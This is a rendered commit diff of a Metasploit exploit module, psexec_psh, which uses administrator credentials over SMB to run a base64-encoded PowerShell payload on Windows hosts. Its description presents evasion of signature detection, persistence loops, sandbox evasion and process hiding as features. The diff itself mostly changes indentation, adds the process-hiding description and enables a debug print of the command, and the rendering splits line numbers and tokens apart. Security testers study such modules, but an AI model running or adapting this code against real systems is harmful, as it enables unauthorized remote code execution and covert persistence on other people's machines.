1
1
# -*- coding: binary -*-
2
- #!/usr/bin/env ruby
3
2
4
3
require 'msf/core'
5
4
6
5
class Metasploit3 < Msf ::Exploit ::Remote
7
- Rank = ManualRanking
6
+ Rank = ManualRanking
8
7
9
8
# Exploit mixins should be called first
10
- include Msf ::Exploit ::Remote ::DCERPC
11
- include Msf ::Exploit ::Remote ::SMB
12
- include Msf ::Exploit ::Remote ::SMB ::Authenticated
13
- include Msf ::Exploit ::Powershell
14
- include Msf ::Auxiliary ::Report
15
- include Msf ::Exploit ::EXE
9
+ include Msf ::Exploit ::Remote ::DCERPC
10
+ include Msf ::Exploit ::Remote ::SMB
11
+ include Msf ::Exploit ::Remote ::SMB ::Authenticated
12
+ include Msf ::Exploit ::Powershell
13
+ include Msf ::Auxiliary ::Report
14
+ include Msf ::Exploit ::EXE
16
15
17
16
# Aliases for common classes
18
17
SIMPLE = Rex ::Proto ::SMB ::SimpleClient
@@ -24,40 +23,42 @@ def initialize(info = {})
24
23
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution' ,
25
24
'Description' => %q{
26
25
This module uses a valid administrator username and password to execute a powershell
27
- payload using a similar technique to the "psexec" utility provided by SysInternals. The
28
- payload is encoded in base64 and executed from the commandline using the -encodedcommand
29
- flag. Using this method, the payload is never written to disk, and given that each payload
30
- is unique, is not prone to signature based detection. Since executing shellcode in .NET
31
- requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
32
- must match that of the payload. Lastly, a persist option is provided to execute the payload
33
- in a while loop in order to maintain a form of persistence. In the event of a sandbox
34
- observing PSH execution, a delay and other obfuscation may be added to avoid detection.
26
+ payload using a similar technique to the "psexec" utility provided by SysInternals. The
27
+ payload is encoded in base64 and executed from the commandline using the -encodedcommand
28
+ flag. Using this method, the payload is never written to disk, and given that each payload
29
+ is unique, is not prone to signature based detection. Since executing shellcode in .NET
30
+ requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
31
+ must match that of the payload. Lastly, a persist option is provided to execute the payload
32
+ in a while loop in order to maintain a form of persistence. In the event of a sandbox
33
+ observing PSH execution, a delay and other obfuscation may be added to avoid detection.
34
+ In order to avoid interactive process notifications for the current user, the psh payload has
35
+ been reduced in size and wrapped in a powershell invocation which hides the process entirely.
35
36
} ,
36
37
37
38
'Author' => [
38
39
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>' , # PSExec command module
39
- 'RageLtMan <rageltman[at]sempervictus' # PSH exploit
40
+ 'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
40
41
] ,
41
42
42
43
'License' => MSF_LICENSE ,
43
- 'Privileged' => true ,
44
- 'DefaultOptions' =>
45
- {
46
- 'WfsDelay' => 10 ,
47
- 'EXITFUNC' => 'thread'
48
- } ,
49
- 'Payload' =>
50
- {
51
- 'Space' => 8192 ,
52
- 'DisableNops' => true ,
53
- 'StackAdjustment' => -3500
54
- } ,
55
- 'Platform' => 'win' ,
56
- 'Targets' =>
57
- [
58
- [ 'Automatic' , { } ] ,
59
- ] ,
60
- 'DefaultTarget' => 0 ,
44
+ 'Privileged' => true ,
45
+ 'DefaultOptions' =>
46
+ {
47
+ 'WfsDelay' => 10 ,
48
+ 'EXITFUNC' => 'thread'
49
+ } ,
50
+ 'Payload' =>
51
+ {
52
+ 'Space' => 8192 ,
53
+ 'DisableNops' => true ,
54
+ 'StackAdjustment' => -3500
55
+ } ,
56
+ 'Platform' => 'win' ,
57
+ 'Targets' =>
58
+ [
59
+ [ 'Automatic' , { } ] ,
60
+ ] ,
61
+ 'DefaultTarget' => 0 ,
61
62
'References' => [
62
63
[ 'CVE' , '1999-0504' ] , # Administrator with no password (since this is the default)
63
64
[ 'OSVDB' , '3106' ] ,
@@ -67,20 +68,20 @@ def initialize(info = {})
67
68
]
68
69
) )
69
70
70
- register_options ( [
71
- OptBool . new ( 'PERSIST' , [ false , 'Run the payload in a loop' ] ) ,
72
- OptBool . new ( 'RUN_WOW64' , [
73
- false ,
74
- 'Execute powershell in 32bit compatibility mode, payloads need native arch' ,
75
- false
76
- ] ) ,
77
- OptBool . new ( 'PSH_OLD_METHOD' , [ false , 'Use powershell 1.0' , false ] ) ,
78
- ] , self . class )
71
+ register_options ( [
72
+ OptBool . new ( 'PERSIST' , [ false , 'Run the payload in a loop' ] ) ,
73
+ OptBool . new ( 'RUN_WOW64' , [
74
+ false ,
75
+ 'Execute powershell in 32bit compatibility mode, payloads need native arch' ,
76
+ false
77
+ ] ) ,
78
+ OptBool . new ( 'PSH_OLD_METHOD' , [ false , 'Use powershell 1.0' , false ] ) ,
79
+ ] , self . class )
79
80
end
80
81
81
82
82
- def exploit
83
- command = cmd_psh_payload ( payload . encoded , datastore [ 'PSH_OLD_METHOD' ] )
83
+ def exploit
84
+ command = cmd_psh_payload ( payload . encoded , datastore [ 'PSH_OLD_METHOD' ] )
84
85
85
86
#Try and authenticate with given credentials
86
87
if connect
@@ -90,15 +91,15 @@ def exploit
90
91
print_error ( "#{ peer } - Unable to authenticate with given credentials: #{ autherror } " )
91
92
return
92
93
end
93
- # Execute the powershell command
94
- begin
95
- print_status ( "#{ peer } - Executing the payload..." )
96
- # vprint_good(command)
97
- return psexec ( command )
98
- rescue StandardError => exec_command_error
99
- print_error ( "#{ peer } - Unable to execute specified command: #{ exec_command_error } " )
100
- return false
101
- end
94
+ # Execute the powershell command
95
+ begin
96
+ print_status ( "#{ peer } - Executing the payload..." )
97
+ vprint_good ( command )
98
+ return psexec ( command )
99
+ rescue StandardError => exec_command_error
100
+ print_error ( "#{ peer } - Unable to execute specified command: #{ exec_command_error } " )
101
+ return false
102
+ end
102
103
disconnect
103
104
end
104
105
end
@@ -224,8 +225,8 @@ def psexec(command)
224
225
return true
225
226
end
226
227
227
- def peer
228
- return "#{ rhost } :#{ rport } "
229
- end
228
+ def peer
229
+ return "#{ rhost } :#{ rport } "
230
+ end
230
231
231
232
end
0 commit comments